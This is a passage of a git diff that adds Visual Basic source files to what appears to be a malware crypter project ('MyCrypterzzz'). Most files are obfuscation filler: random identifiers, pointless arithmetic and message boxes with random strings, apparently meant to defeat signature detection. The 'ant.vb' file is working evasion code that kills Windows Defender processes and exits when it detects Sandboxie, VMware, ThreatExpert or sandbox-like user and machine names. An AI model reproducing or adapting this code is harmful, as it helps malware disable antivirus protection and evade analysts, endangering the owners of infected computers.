wItORaRbtPEGoqGjXyUoaxMFLz As String = "FidfurnClEzjFMreWXqwiIoEQHUrfyBsfqdsSzES" + Dim IBqyuOzvBImssuEQHNfJcQvHOa As String = "GscMhrIAjurliypVtZsgWbsZVIhTPGCdqkNQkuTGC" + Dim yVZpIYkKJwziCunerEkWYsfXcZ As String = "kdLHMfugfOpPfZtQDoIEEyHliEbkfnKvjpblxBwe" + End If + msgbox("bXFFjuQCSitAnjQXXvFzPMpEopUpZQyuytgJerdDvDcWKSXgHIMswdCoYUeNtoqcQrpZzatLTxxunsRqBIWpfDyirKVFUCcqFlWlwrZgPnuBaFMKfPXYRisuWfhyFzXrswPaWklYJuGbWzXvVyFbHNzgnCDbBcppFvJacrtemWBfWMGzeHhCoiASvXUKgsp") + If 5324789 > 588827 Then + Dim yuDbGXbrNJUXGoOyJwxnluZDMO As String = "QhQywYzjqzGVWsdIJzVOLuuajMpHCmtXlHhXgVqLRaEBNrF" + Dim QhQzpGRoEUPvyNctMMRYovqraV As String = "KsPLWkVHEljcUZYNWIQSaHGwtvYHlMITSaCuiVGXnrtZDwqNTfRRSDpbQrqmDmvP" + Dim ayrCdUARYkLdgDoWYZatTReFf As String = "TfowyBNZYHPaOSxsfesipTfMpXUDxSvIzVXjRxRjendNNmkrvxxoNjhJpDrzbfIP" + End If + msgbox("ZFZOzwOUdhDXMMjhrNPWivCupKQsraVsPCIhvaHvimOKEtrvyXkqCCkjHVFZVDjPXnYgqwYTcAikAWFcLpOZORpoJgLlpcPNMXMlLhYyyDUmHPkI") + If 909288 > 298242 Then + Dim YXohYxEgFVjfRyNoNFXntpvsS As String = "pCbmuFkjEkcWGjFLeZKVmHLtKZNkzaMsetzQOmsgrqYZWnkpkkApIDtevjfoXGUVsLYOHxn" + Dim ROqgdcTDJIVexGxyEFwxSxLAp As String = "lrfGfjuETfeoKlmHAmZkFWqgoTUBYrieyBOTvcptgEWTBTSbzSyKqmeXcQANKMmpjnapzLO" + Dim ikYfOmwrEGgUoPfJUksSRmVsdC As String = "fEWtOPPHMWJqZKemayxwRdRZnOXiDHmPnWzZjWuVSWDZZE" + End If + Dim jKUJjlUnYGLXGGcoaPXEnJGTPe As String = "lYiLqJvhPpCffVqezdlzmhkllXQyxKBIggnRQOoaVSkdrT" + msgbox("joOoxRjcxdXHqXiEVgbfhlJHrBoBZWpeJXiUqmclBhYWxGcqEvjCguSdmjhuYifhawtpauWJalkOgTxLBimDGkrPBZQfKsoucaCcWdwwPERLOxcQHHrJexPSdmwjGpxSKYSIAdnCRAapPjyGRhGwUUUnPjkhfNqBVDwJhibaZpTbERvkaWprxrocGglADBzzCgyGlhwUjkFwDjzDepy") + If 6393786 > 699941 Then + Dim NjOiuNSJSCpgogjXKDbdCDHJIJ As String = "xHhSPEFWyjjqkDCQjyIqpzHrDWPNSAXWQFcOeFYzLDGiaenTmycXef" + Dim JdQSZrMeFSozHkmVLmCVgXTPft As String = "svRvdhidwrbuZrjHlTquQQBSvshHxmJMqvhJLPCbqvHaIJbCrbmxnIxQvJhOMvfxibPfi" + Dim nHizhMTKMwGpLBAmiCGKLwHSQF As String = "KsdzPsYmsOTuCvuLlLQGkWbPQjeFPHKagmzhvHMrwhTkeCPoKxfLDDRyHDsEGYvNhsH" + End If + msgbox("oiecDLrGhwlsesxRohlwhSstDhbYgFBkBurtrlznRtgnvlpZPKfXWuZKRBoXSvglcfvzZnopInBYGJDhBUvBRTdWJygzhMxnLEyUYFrLzrDZfDUrtYnJmcoeYnIgwsjtyeIiIdrFmUvSpFWGnlRWDMmkIietgbYDkVhPzvWYQmlfEFtadXnRlKFpGzCNFDyUQsesRwNQhFgotsRBKvLVFKdvN") + If 6706274 > 900790 Then + Dim YRvtMCyRLSVDCBOCkdTtIiwwDv As String = "tvYnNFHSvGYTHnoDNzgLTtaWcKFytiuueT" + Dim KLzKJoHZNvqVvDPWkRrEHzHdoO As String = "XFeVBBxEwqUnKSuZpnLvCgvHhNxZbFQyYO" + Dim vbBItdYYPdvDzHRajNkeRDRmqy As String = "ynZYoByZcVssYmqYWitBytCKYXLOlZFtWCiwTJhWZWmJgFkaM" + End If + Dim NRXKKMwbCSsJGOpYMKZJuFRQuM As String = "MYflzmZIeclxIHwREXHmGtauFnhOlpEjiouHtllDHzwiyvEagc" + Dim xcIdAxNNsrchDWWMtavBGJuQjUssLihBPuldcoaQMBySAPhNwyfkmVB As Integer = 299161 + Dim TNDBvEWbnozHQEReocfBwuXDPeRwdgzsJiPwRSHxxsqeKlZyGywOYUfm As Integer = 622085 + End Function + +End Module diff --git a/scode (MyCrypterzzz/winini/ZIdBpWVkXnsXLhqpgQPF.vb b/scode (MyCrypterzzz/winini/ZIdBpWVkXnsXLhqpgQPF.vb new file mode 100644 index 0000000..358dc7a --- /dev/null +++ b/scode (MyCrypterzzz/winini/ZIdBpWVkXnsXLhqpgQPF.vb @@ -0,0 +1,110 @@ +Module ZIdBpWVkXnsXLhqpgQPF + Public Sub YCwJfxcaXQzqlEKxQhqZkgmSdtRlVIKNlqp(ByVal NdvneJiCKDBGmXJzaVjZJMGkcktRJQaIrRxhEgDdlqdHFbIX As String) + Dim CaGOysFZCkZ As Integer = 3910614 + 610205 + 610205 + 441836 + Dim aXPzktRIbaSkUlYNEmRDogIXPS As String = "owpErGPiEpWHRKzSKQfqHjPlmOcxQzXenuHWgMdCUQTnHoIFOIuYjhhBB" + msgbox("WViYtymRNIPXqxtLLoULGkMLJcqYricMoJFUEPCEpDGpzkvitogvRDGicMSxBHswmIgbgpGCNglOqWHnPbXMwbxbxFhWXJpCkTiQacljwmtOQRDBVVHLqTtRovSxBCZFEfvngqAbNKOrWlrhJSuvuDfXXFchAFhOhAuuuHGgndyBsfLUimOERitSZeMLTqKjNgoLCNyW") + Dim CXvsojMHUgOjDCoEVaIsgjYkzCRaclWIFjtyTFOEWfOYGiBmGfjjvmB As Integer = 9395112 + 1011903 + 1011903 + 352100 + Dim uUXsTQvzZawUNZNl As Integer = 9707600 + 1212752 + 1212752 + 552949 + Dim OVgtXvVBjVehpYVTGKSaEVklCA As String = "ptcPWuBXRLLkbGSgBJDDAgtbPyThPIezgSoNbpEiftIneWPObSfVJVeMjRtUSH" + Dim uxRTvpOVaGQeUbIFyhcBIcntVfNbIYkVMQDptULafoYpoTjZyJRUutFr As Integer = 719266 + msgbox("HMJcJbUuPvPSlcwDzfVwfVMtoGgdfRLNNMGBmmCCbHpOpnuSjBhmrlMGRaPAkhaiJGeLWoZEQwuewDtryuquPglIpXcAVQAjayYVXJGqSPbeOyNQbLtiHhFnpyOrwsHExojruXRzNNecAAZdBlSaPolBGUnUpQhHeGryHdVksymNmwUDSMLdHIpFwpCyiuI") + msgbox("iuDevaVOvaoWzvrcwYOKSTNXSWKeTRpCTPPjLoBGOlGbUkbbwgRZLdMqMmSrUwHgmApNSqhNzIyQxNDJKKUxqrLXftPzxHuPLEkFMNfRAtKXOaTCRBzwsMMlzcYqgBZDjXNnvEdWTfiVtCmJmAQOQFtMhipCggXlHtdzidycywSPKEcvDXnmYxSoGyjDjDJQzUsfazrcKdRfaVnjciCvnjWnapLRNNxBmWsMZNXcgxTzrwihlFzXKKURRdKaT") + Dim vdbBpUuhBhVaaObNDPdEEL As Integer = 2496439 + 463213 + 294844 + 294844 + Dim zkoUpoRjPVQTegmIMyncycfspDXWBn As Integer = 4428768 + 495694 + 495694 + 495694 + Dim mGwZEBrVpnMcfytDBJwPqFhxlzZJwovnbFDZBaEpPpRuscYeptGs As Integer = 669190 + Dim qYBhIxJgCBCxdGytDGrzrtfqNDtpIExSPVzRNEaddWysuIuBndwWPDUX As Integer = 992114 + Dim NcStkZxwCBneNIMeFVctnwfBlMenlngzLBpquqPBYlsjqxZQOY As Integer = 8293425 + 1065761 + 405958 + 405958 + Dim pWqLyoQPTyrpuhUcdwmFUMlkKUucrENVkYWMU As Integer = 5497765 + 606807 + 606807 + 606807 + Dim DbbuPZzgzxJiUeDtSCmpwfbQxzNnDesDwnMWgeOxUjMkcQOymtRrUYGs As Integer = 766371 + Dim pvTxxnHwXLMeybwxwozWiPgQtJXbVSugFdlFCruuBGhGLIoFKhRjCfOj As Integer = 619113 + End Sub + + + Public Sub NgVqzOFzuWQiOYvABDutNGmhTpxdIywNRvCaICvJYOCiqLe(ByVal dsFIwYOqrfkWcvfUtglfsGGuqBTdgMzNMbxULkbkCOsrZgHI As String) + Dim iYzCnusRYORHdiaBycpZkJeO As Integer = 3014593 + 517071 + 348702 + 348702 + msgbox("BQSirCnJEFRVrnpzauRwOvXMfgeLlPoRhykCNBzEmCjsHwBISEZKJHBinleQKcscakRajPcIELeqHPsoKcGSjnlYUJtaerUocxQTBstOFLECrKrvMOFuDhbNUqveKNLGeReTtcvtNxOQZtAttullfzlzNDliadeFMahZkhyiEvzORIbCCEpVrX") + msgbox("KysFSXuoGBfcZLdSJAqyasFyMnWDpjepKINhSpJcsxIlTbHpQbDedLqymuaIcYIUpjRPrYeEOCRhVWGlGkNkQCnoUzgVJwJrvwsEhiGAnnlqsODbpWwClbJGDdDoWnribdXtqFwbrQhbjbBinCUyrJKMNUOwbrhKzvLLwUGnpaxEkVYvMybrXfGtFcsPMOcjsOHPCwsfIkYJShIjUHKPelLLHUcbfBrOiEBoKfVLYPBXjGTHmwLyOW") + Dim ddprPEOXTOlZaRaYmSWwzAfNhRvjgzaaYcjlwKvhbhMAeIpNXFhx As Integer = 6879251 + 918769 + 258966 + 258966 + Dim PyPVNrgySelCPYzYUNhrlNwOiuyeiRbaPZKSXKopwjuyGNwoFOJZu As Integer = 8811579 + 1119618 + 459815 + 459815 + msgbox("NyYNWtjGdebuerGOJDYStUbNJpktJdVzOAiNXtjXSwZSrGNRSVGjguwqvJstUCjXtQycqznzWjPnLLJuibhZFqKtCvULdwuOyJtTsObkKdypukKUUfdRkdNtehFMyRoQlUzmaCHGFSIcosZTyUdMTVLSxJjxbbaFZlkhdnpbrbzmwKRqkNNyiOsbPnUHrLHlxdOKFcMsplJ") + msgbox("QhyNxoauaHnXDsdZusWaNpkcqPwCFPZtQtblLGCdfURiflfZgbqEMgxmbSMicDxLHrJFwUDDcSEfKfqKYGkXJqQpspgREqmrTvmEFZrZtUpwvWZoxCtLFPEvQCrlmWGvZbxQpRiCGxMPoEuTfjEDDxbKZakYcsTeDDgWBprtqVKSpZRI") + msgbox("ujnKkvSwrvRQEThgkCOuZDKWRVqxwbBsqTOtffztezGuVFLbGTSXYJkRRTDpevosCvvVomeHedhcozePKDfnZWEufpJPcilcXMSnokwVtcJWkXbewBPwEKFnIeWfRIgfBPtDFuqQXtzkmsqDSImJowcgBhGtYrNjpyoaPmBaUVTbThN") + Dim fPOoxaAkxWnJocuZqmfnDHOSkMQfBGJohJdLnqBtrfkxefNvsPenRno As Integer = 813476 + Dim dMjlQbTIlXbKYuOvgrbMhwFLrQTRxmwRIskEEnErPveksGbNNyEedPaX As Integer = 753618 + Dim nsAuDRitdjNUPufhwAWlUVwcRaJXtTPHuLOzWnZDMazfiOtjhyzyIew As Integer = 606360 + msgbox("YSTxLhLfCFNYlazhOqSwhOXZfkguqDlLPVbeDohpyiWStcOeCkIJnPTrNlbKqKtIKanKNKXGpqDDqbxgoxETRIwZKJVpMSJvxRGkBEIyPMLaohbJMMHUhEjuJkReSkJsRahykdQnLcufEAdhLLTIzIGVAyPXVTTWGkRxbpWuUVHMqdVacpegepZYfRRmdQFeNbpxC") + Dim DRHIPVmcbOJQzkhDhRIYzyZwPEPWRmSVLqIHmOqKnxCMtMazWXYbkDc As Integer = 7602295 + 993924 + 993924 + 334120 + Dim HPwdIWILVMRIVuY As Integer = 4806635 + 703338 + 534970 + 534970 + Dim ZCRsacXxLmJGvOqbxmEGLxjpwq As String = "HJWdiUoqUEWBeMxoemLpOjfQAqUljQcZtgLEuzJSNpZtAhtKnaHxFuxwMbGZ" + Dim rnoexLLBZGKLoCOdOISTuQHiYdkJbvYoPHOzBJqqWTLvaRobqKUOzlE As Integer = 703541 + Dim rcpBuRnXzHK As Integer = 8671292 + 1105037 + 1105037 + 445234 + Dim UGZGnNlsgjgshnKCgUmQYLYnTv As String = "eliEddHwVGWPkMSsPsatKfHeXvRqXFVmYwazWKayvmHX" + Dim KSSuvXkPlLEOd As Integer = 4255792 + 646083 + 646083 + 1015301 + Dim UYNpgMqigkMNXcxiBrTqZwxooqOBYffKqParHprjTHyxrGJDVwYYpLSo As Integer = 800723 + Dim cQeflogbJRVheCJuUJRBZiwTLWxijQiaOHbJkxJTziehwvmhoFPyD As Integer = 653464 + Dim cEnrbEJckwpRdvVKGqFFkbsXAlHIYxwhptrRrkgLhHvorLFIDieZzUKeMN As Integer = 9740290 + 556347 + 556347 + 556347 + Dim yNtjkzxqXbRxYdKhrY As Integer = 5324789 + 757196 + 757196 + 588827 + Dim WyvbnavtvmWBoaKkwnnYbWZMko As String = "xtexZZRFCyfaeQttCcmuVWXFGZuDeRtlAGbCbRxyXnNXwrowk" + Dim RrfVvEJARQKFshrYJjwvwWvYFklyalZFtamosmhYrvClyFDMzgILCY As Integer = 750646 + Dim qjyVOfYQfiUYlu As Integer = 909288 + 1158894 + 1158894 + 1158894 + Dim AotQzUfjbHcYgoEpvNrKvsdlfU As String = "xVgyzxTqKEpPtGrDLXDxBkXihBSgyiqPyqDeNlNbAvdOEu" + Dim jYSworavgKAvVnpSvCvXbgHGhICDKlDJYJDOMFyrAinMliIWhdIbSpg As Integer = 672161 + Dim BLfUXaQsYVvTNMDNySPJdgYuwPYDGwJUCkgEIuYWmlmjyMmNmkOEQEDM As Integer = 524903 + msgbox("tsumbiUpxqDlkRTUCPjDYCabbouvvKJcnjxBPTIjfsmKlrFYyHPpbDCNNpQQpNwnuCepvpDYpefRBpjNxCxiacVpratbbBkEuAmPcYZxICeWlnadiDducBzwvxZqNDwQXePsQvqvTMdmOzJmKBqrDJVHIDYGvAMLpIkViZGDLXdArbsraNjbIW") + Dim XcLjeDKVdoRbCBhhlGPJxLqOpboJHeYhNAJoTSRBmKKWngiIaoO As Integer = 6706274 + 900790 + 900790 + 240987 + Dim gcHOUshpzsd As Integer = 3910614 + 610205 + 441836 + 441836 + Dim pMXUOJqAYkFrOnpVsUCSINPVpL As String = "lolVznffLzXoqBEnYgvjlwBaszpergUdpQvcabZXMMmitlbzHXsiRZGszz" + msgbox("zgKBzkupPHhdQSXziqxFkiqjrAidvjJjvBSpwFERBDEQioTXYtkpjnlziUTmeSidMKliQEBKiYukyQRpkQyIIfRiyVXwgQYyWWqGgDTPrcBWdMUGOyvkTZDPkWsVFMicShHLQIfCQvZTmkDqzXfQfeWNhDgDOPllpcjricLsuLQXntvPgWBvHCxzczopXfLsdoauwToF") + Dim PVUBDHOwpqQoYUAjHhteJVHRXLDqhFRUtjyjkXMWFWvpBvvkwguhizV As Integer = 7775271 + 1011903 + 1011903 + 352100 + Dim cybfiMJZhmhakTaq As Integer = 9707600 + 1212752 + 552949 + 552949 + Dim IlaWnfyofcxroWWGtUygSLswnS As String = "DqBXlLxdtUnSLbzwthiFBZdQtlswvLrnOqHodGzMilkpDZjIMQTqUwhxTDRtusF" + Dim YSSSqplXOTNQbRdLdLLZNvyAkoAIhGooOukgOhVoCmHjMqSBZWfKZFl As Integer = 719266 + msgbox("EEFtQIkrWFQzKUAZMvlpJiziursKGzINPhuHfByWSEIJbkNMcQfwZelzPYRfWYZufHEYytbVWumTEaOwOjrOYnyDjYiCLORihdGeNpcOdzsERXSECQENkFkjrogJnyVHHOVfiIgeHouglLNhWxhBychxfepwgwtjjFeJiCUhDouJzYfujMxDkkJrQXaRea") + Dim usZwsmjCiFfaloNjCcytlASdUBamIEachGBJQeVCEgmECfUcjxlkH As Integer = 8844269 + 463213 + 463213 + 463213 + Dim GuyXEOJDmGaew As Integer = 4428768 + 664062 + 664062 + 495694 + Dim lDCnhHfxjQWltgJifuKSfCcHAj As String = "fSkNcnBtGyuGHqrGroCJqwvmxRcbiNwMIEhkOYgfPcNUI" + Dim kxkfQHOktIRWQQpcggSeczLcVVDqRjWWcFHZEjFrhSOEodBnJMdoYinG As Integer = 669190 + Dim lcfZfGWfmdraxalDxmYjsFXnkYrXWHacxUYkfRMvmxiIgWwZhprfiPbUUH As Integer = 9913266 + 1065761 + 1065761 + 1065761 + Dim NanJseDuziqzxLqBuea As Integer = 5497765 + 775176 + 775176 + 606807 + Dim dCSgwfFXeboOhwFuVHKeXoQeoH As String = "VsfMBNntJwhnGfSmDLRZwgUlQbmqsiWlfQytywNkdJlDdCfINT" + End Sub + + + Public Sub BIsxFZReTdnaQsijSMKJhTMFHOYoIJEOvcYATX(ByVal UTzlLMgUqAvvKKjIxjOcRIMnkRMbVSrvtYXeeRDSmnUusZIo As String) + msgbox("dbvTuewFioJElqgOnYvkrLLXwDVrJXCmGsakcujZXjGEHRJxgvgUOTRPjxSHrqGEYlDaoOMkLHYqjhdBvgoBGbjmuiGMRrWyTKDKdNOlrMIokkwSgOUaispJUrlCykZsgwckKyQwGhKvbiqTdaanKaJAvGLYBdrFyecvwfvmszhFUjnYbzHiyhTiNKgVpcHKpEnEOfd") + Dim zpSETHIbrdceMxAgBGCCdUupaBnKeMBsXRuByDICfOTILpEcueWZNHC As Integer = 9362423 + 517071 + 517071 + 348702 + Dim dQlnUBUhSbFNcCSI As Integer = 4946922 + 717920 + 717920 + 1087138 + Dim fvXZYgfOgyaExCRiMSIHKchsrUxdCGCmSsCQFXakYox As Integer = 6879251 + 918769 + 258966 + 258966 + Dim MvLCPZfuyIhkDjEptEXCKKKoQGrzbDZslXkRNNUKFcILQRpfdhAlD As Integer = 8811579 + 459815 + 459815 + 459815 + msgbox("qNoQYuQjeFPEfdfWIYViiiBbJxpaglXzFkdodDTmlqooGPdCgAyVznXGowgoZDicxnidygcnLlygTDhgbbtYnqLvGvijkdmmEHFevmQHrXtdhCScgiFjLuNzdwGeQKyRYvmlbNPUkbZKUMLkFmzjXzeIcZVbgjXVGwiJuhhEyPSNpCdZpPWSBPVaRLXRZMMhoDArmeSPLvS") + msgbox("MmKhkXwElkZgiWxfthBYOfpaRDmrEwCagCCjHCGbbOaKMOQlINSuyzwHbmogTeKgkvhNMKNOpyyOgIfDWbUORZhONGlSZWJBXrSmvwvmIeuLlGukErajrrEaxyedTHtewqFUOoZjPIJOkkdUqNfVgdhgKOObMMhFpvoaaNTvtlnmlWC") + msgbox("cvDNWhDBECBwIsGzPnlbxPsCvHUYkpfgJmsvYljOATDVEztJSilUobuioYljdoxitVhznKHOrWQXemEOzIKCZVObHbBIsknbMNKDRGXzqPQYUmnIWUkusdBbOatQUKEIeWBcwJhPKIgsQhyobnSijJgZcocvwwYKDjrTBnGPJmBHGkzyluqiVniBqNNLdRRSSjRUPpTTZLVgrBmgGgkiUoeKXstFnQjQWcYqirxkNeTeV") + Dim XJdcVmgQXvbjWsShejKLohCmGJDIoetnDmZwpFEWozNklDcdPIABWOQc As Integer = 813476 + Dim dMuolgazLvXyIihLHveiRxuipTUCGPQcIuiVJJxRKzLfYPIUVjgciENS As Integer = 753618 + Dim gezwpcsLYJNUHqmBLzMltBTrFlOSEWZjPGgTnWvMSUISilbRjEUHNax As Integer = 606360 + msgbox("EhQHREhaZJxArsBlNOxgpETCduzRhFIggvwFzZLSHhNyOYQatUgcJZeHDvOZHlDkzugEtbIVWYnhsyJqJnqGrPsScPjaRZmktgQSFmrXjQQktBXpTYhwBdWgEHhTxfVvHuJsgkNbPuNznNIUPXUgLHIzQcKWgDemZNuOnFfhUSnsGPnhdjgDVzROApXhCaBDiRmbhZPAxgEXaazJJEhWGbmIKqjJnSaZmBoqNFPBfbyWSijKclrvHGNvZIKPBpklLyIq") + Dim UyzqIOZPumNpTikRSOjPoPzdgCFYXLyvEcZHWkkkRUaotrVijPgbpCU As Integer = 7602295 + 993924 + 993924 + 334120 + Dim rdUrBQfITbZMKCEMFxlbzShfVTCMIVNqF As Integer = 4806635 + 703338 + 534970 + 534970 + Dim gytCncrMRZbteaLjmfcEeIuOf As String = "INYlBymzPIRDosHDjgiSaQOduSturBheIIHjMzkGuSuwgBXkEUQaoQwowPterr" + Dim dBlIKDycviSIzuTEamBuENrbIPHePMdlqHrTmynkvPXoTCzEBfJaHri As Integer = 126466 + Dim uoxkdsjsLkE As Integer = 8671292 + 1105037 + 1105037 + 445234 + Dim dJHqQioyxnuhBZkzWtEGcSgwC As String = "FOpsqgeICovITBilcOvKnvUuXoQoBeTUJZwFE" + Dim kKWNDBWxPKOd As Integer = 4255792 + 646083 + 646083 + 1015301 + Dim oBEHGxgtNqVZfVwLrqopyxymsWXnjhvVADjIptGarjGZUnmPIMVQLlCR As Integer = 653464 + Dim dEXKPHgwhhlyjTMaFReECMCVGtkyIArKmjtIpuSfJvERZliuJqHWrLz As Integer = 653464 + Dim bzzdBJgUlzqEyQpeWThJatFKXOcFOWPaUSDpSpkKPiRyMNShONVcaBvra As Integer = 9740290 + 556347 + 556347 + 387978 + Dim cOmXMZgYRvYsfDLHXi As Integer = 5324789 + 757196 + 757196 + 588827 + Dim SwzUkioXeGPWQLWyCPkuRXUgBB As String = "CHkKEXoIqhOpszEvCylgXYMKXXfWGnFvsILtSmbEhWCAcrmUOSOoTYAhqQPZTdzR" + Dim cJjSbXgidrMpZJEtimYpuQAcmlVqpPgedwEQQGTEQUzJPvZsDUlPhPYw As Integer = 750646 + Dim TyPXQgFtgKIing As Integer = 909288 + 1158894 + 1158894 + 499091 + Dim ewtgQUqywlbHqHMIUkBnGNNam As String = "YVamzAhsRIqehDtXDsgHZVljdPtFCwFNJBdteSOvJhSGcq" + Dim MoiyqtIYhmoFWaOauXtnQthUiQHkitFJPshUclYuOHgbZYFylQGXrZRq As Integer = 672161 + Dim vYIavJIQPxWDjKnHXFhuIOTRQfNMLXSPMzJnOtrFWFTFxKNDYfPSYNmJ As Integer = 524903 + msgbox("kZkrtTGbFxtJnXOezmoKvknlHwhmVZIqbKyojwaJmQBDEbvCYdQaRcwHGTHlEhLGJlDcQNuFojUaxJDIMsmTPBWrYyWbamhebRGhKFvRIQIDpJVzJtLRKwutEkkGfENbRPflNMvncYMARfbJuuwWCNumEnPzKJCzozPbbtZgYdAUPrJMxkWHUBoYmMXigTzdjOQiWLNqQeJIHvDHaIfBlLhYrjXCsPTJCLXfAyXJrxUpqnvmsRX") + Dim wrdlEiWRqByEkKHjwlNiKcETptBGDmjkzMeBGpOGkoYQBPikHPt As Integer = 6706274 + 900790 + 900790 + 240987 + Dim SvUhMLvDTnjsxcxUacHaXGZXqkBNP As Integer = 3910614 + 441836 + 441836 + 441836 + msgbox("MvnlpRVNuNQrhrOJOFWVVZGzqFIhtzShTPXfACUXdQymxkbHksJLkVBVHHpUkThWzcOQOJLNVzUNFMBZNWhJoMVfYZpPOmMekpUWahSRkeNkkhGMsIxsBnyekVPuBtoJVQwaGJYlQUleJkaVUPNmtnQTkKZlRdvKAUDDcfMWKlwZvKqDoGnSlBHBWGaQfePlWPxiIiOaM") + msgbox("TlbgaojgmgoiukKgeLHYKCtysyodVScjBxpFfxmjuRNSVWIMCokMbHPdXwfsOknMsBuuaukTLWKiKMqwOeOPKESovhnZJrWUQvxfjEyRHwJxmBWranUmkhevKTxQjMlHDnVgNcKDZbrVGsYqMrrBqdYDKIlTTjSMkDMfpfXthUVMyMbFylunEbQPMyewHuzUClEbbpkYhvKhTLBQNKWNLGZnnbXoTCFTFdkYaYqooOnAFXAQTWyyBCUEzrPqolGGkeq") + End Sub + +End Module diff --git a/scode (MyCrypterzzz/winini/ant.vb b/scode (MyCrypterzzz/winini/ant.vb new file mode 100644 index 0000000..ac9fc94 --- /dev/null +++ b/scode (MyCrypterzzz/winini/ant.vb @@ -0,0 +1,73 @@ +'anti threatExpert, vmWare, Anubis, sandboxie, windows defender by t0fx +Public Class ant + Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long + + Public Shared Sub mofo() + seekit("MSASCui") + seekit("msmpeng") + antiSandboxie() + IsVmWare() + AntiThreatExpert() + checkUsername() + checkComputername() + End Sub + + Private Shared Sub seekit(ByVal gay1 As String) + For Each p As Process In Process.GetProcesses() + If p.ProcessName.Contains(gay1) Then + Try + p.Kill() + Catch ex As Exception + End Try + End If + Next + End Sub + + Private Shared Sub checkUsername() + Dim Usernames As New List(Of String) + Usernames.Add("UserName") + Usernames.Add("User") + Usernames.Add("honey") + Usernames.Add("sandbox") + Usernames.Add("currentuser") + Usernames.Add("User") + For Each name As String In Usernames + If Environment.UserName = name Then + Environment.Exit(0) + End If + Next + End Sub + + Private Shared Sub checkComputername() + Dim Computername As New List(Of String) + Computername.Add("ComputerName") + Computername.Add("COMPUTERNAME") + Computername.Add("DELL-D3E62F7E26") + Computername.Add("DWI-9625AC2E275") + Computername.Add("MICHAEL-F156CF7") + For Each name As String In Computername + If Environment.MachineName = name Then + Environment.Exit(0) + End If + Next + End Sub + + Public Shared Sub antiSandboxie() + If Process.GetProcessesByName("SbieSvc").Length >= 1 Then + Environment.Exit(0) + End If + End Sub + Public Shared Sub IsVmWare() + Dim Hndl As Long + Hndl = FindWindow("VMDragDetectWndClass", vbNullString) + If Hndl = 0 Then + Environment.Exit(0) + End If + End Sub + + Private Shared Sub AntiThreatExpert() + If Process.GetCurrentProcess().MainModule.FileName.Contains("sample") Then + Environment.Exit(0) + End If + End Sub +End Class diff --git a/scode (MyCrypterzzz/winini/cxkyNFhHtwMVSyxBWPea.vb b/scode (MyCrypterzzz/winini/cxkyNFhHtwMVSyxBWPea.vb new file mode 100644 index 0000000..b622634 --- /dev/null +++ b/scode (MyCrypterzzz/winini/cxkyNFhHtwMVSyxBWPea.vb @@ -0,0 +1,146 @@ +Module cxkyNFhHtwMVSyxBWPea + Public Sub EyhqJIBIzYBhWsFuUEQviWCZqkSfdPKXNqGUdkJQiH(ByVal xUXstPAkyQRqnvvJZWaIYzgrmaMnzEtuecuqFPvKuThYynuoJ As String) + Dim rnLHgtpvAtarYLgShnF As Integer = 1945596 + 775176 + 775176 + 775176 + Dim RywiCxpyYniDNYhDhSEntCGYY As String = "TpYkVVltQlCUXTzwwyYGswfnxvGGULfkrgRysRJiSRqCdrJhAD" + Dim brCOYtgkqICnyzpAztiGllJfWTKwZLrtXKcCOzensahDnaiHQhDrreDZ As Integer = 766371 + Dim kfjJvkRkNTeYgTWcpARgSCPoBwPIFMtGRUEerghcSFMwvZMmUecNkOpm As Integer = 619113 + msgbox("BRDGbQqwLEPbgfnLcALvIVpjhsFKzNolFLHCDQmkzlJZXCNSsKBhTjoGGJMCeTKlICIHJTWvYRqESpXVsBpdDelOuiMlpbCIVIvnStSwgzWoJMKHUBphGSeTyzXimBbHPXEIbMfMeVMYgXJkmrBXvRpkkchsbahUWWLzzvdmaRiiZZJXRYvdRpRVnrUuZViKaoeo") + Dim DsOqNUciGzeQyHJeOEBUHFXqzVNbkwtOqhooDxCmFTTKedGITamRDuSQ As Integer = 3014593 + 517071 + 517071 + 348702 + Dim vGKmGgWSzaiMnNc As Integer = 4946922 + 717920 + 1087138 + 1087138 + Dim eJjxkzudTjBrvOpEfDIFZvOxevnRKFNtigIzHBhkqswv As Integer = 6879251 + 918769 + 258966 + 258966 + Dim kcgIHgVDysrmSpydVGnNXARxMIbpolfbCnNbNjyKLaQuUbvXvoF As Integer = 8811579 + 459815 + 459815 + 459815 + msgbox("FpnQwFpZtPXCmMHgMJLifPEpRsKKCFgjmzProcxLvZLTpCOUazccYBlOjTCWyashmROCqXNRcoupPSuuAVQwFmkziLJGmiEuEvnyzHWEXYeTbnZhjuLPEDodcEkGLRTCtPyFOZVvlrcMuGdmvoqpkrfibQdusgyuVUaxbYLLkJkNWqdbOZGVNCSNPUGrKzewigxOcWUidHN") + msgbox("gnUnZlBeFyOHtdAaIlkLzkgLzwXMdZIMVgBKJjzFWRKNqrvngmaPSpqGnDnUCPEdNfaQCTEVgOhDwtmWDBlREzzSuUhUnNRCBAiabzchEnGfXJcVtcsgCquNMOfziTdjGjnywTbSBlvMTtIdcEVSnvqosrmOoDPDKiGrUtTiUhOUZN") + msgbox("HtzBIhcwvQxgTdbJHHRXaqRhghmJEQjkmyEYeFswImJbxwMnLVEdCfoqZqnOKiabJmWVmkBdoQKMTBUWcZApzmkZtZaJjczBeqcgQSzPWrVilHLOxPYqraXIIlbCPELovZOtGSNZsksxvURCPdFESLBFKrVUUGovlOfpIwAnyieEFMOzmgcHfHmddvnhKhvZAWEadHGNDkYXGvBTkSUVYgGuOmYHvsLsINsgzbxqIq") + Dim iuqyjGboemztMNSKGJyVfeYFMtTNTwtvKWpIjVsTGCMemrPLZtiEQTUa As Integer = 813476 + Dim akMzblErCOWDjZgNGVQyxRamsQqPwCzAVwgebTMAeXdoXfwPJsKhqCic As Integer = 753618 + msgbox("tNQJWRHpVATfsSgIUYWexfqNhZWsvvoTvYlpEqOhKpgyRIRfUTwdhegljFRtcvApEYDsiqHdxuKhKInGYSTwVhVYFsEhJJnLtSOWYMzZxGZjZXFSFpfaxkwjUkDFsbTEUixjxGQchWYEPwytOMaLhDYJULDdEsRWgzojVRxwfIXkmlGoalarvzcUZhauBNOENUjlAT") + msgbox("aCwyOpqJLYdwKDYXUeskfJbSnjWliKXJAJfklbYkQGkGrZGmnlhlPnqdvoVBDwPcOPepQBEbptrevtESVOTKwozUZvaJJsrDQPHVfjYOkgMZwiGxTKQNBipaZzBSaTrVJFdlHuWhDOJyXNCJhToDGqDbxwMketGLufGrWEkNulyKyBglPkomhcHvgWSwoWHZlEwiEoMttRCVgKREPdVdBUytZFZdrzSnKUBTtHiJaKqsOqWweiyPnXusOgWQzWVWmHd") + Dim 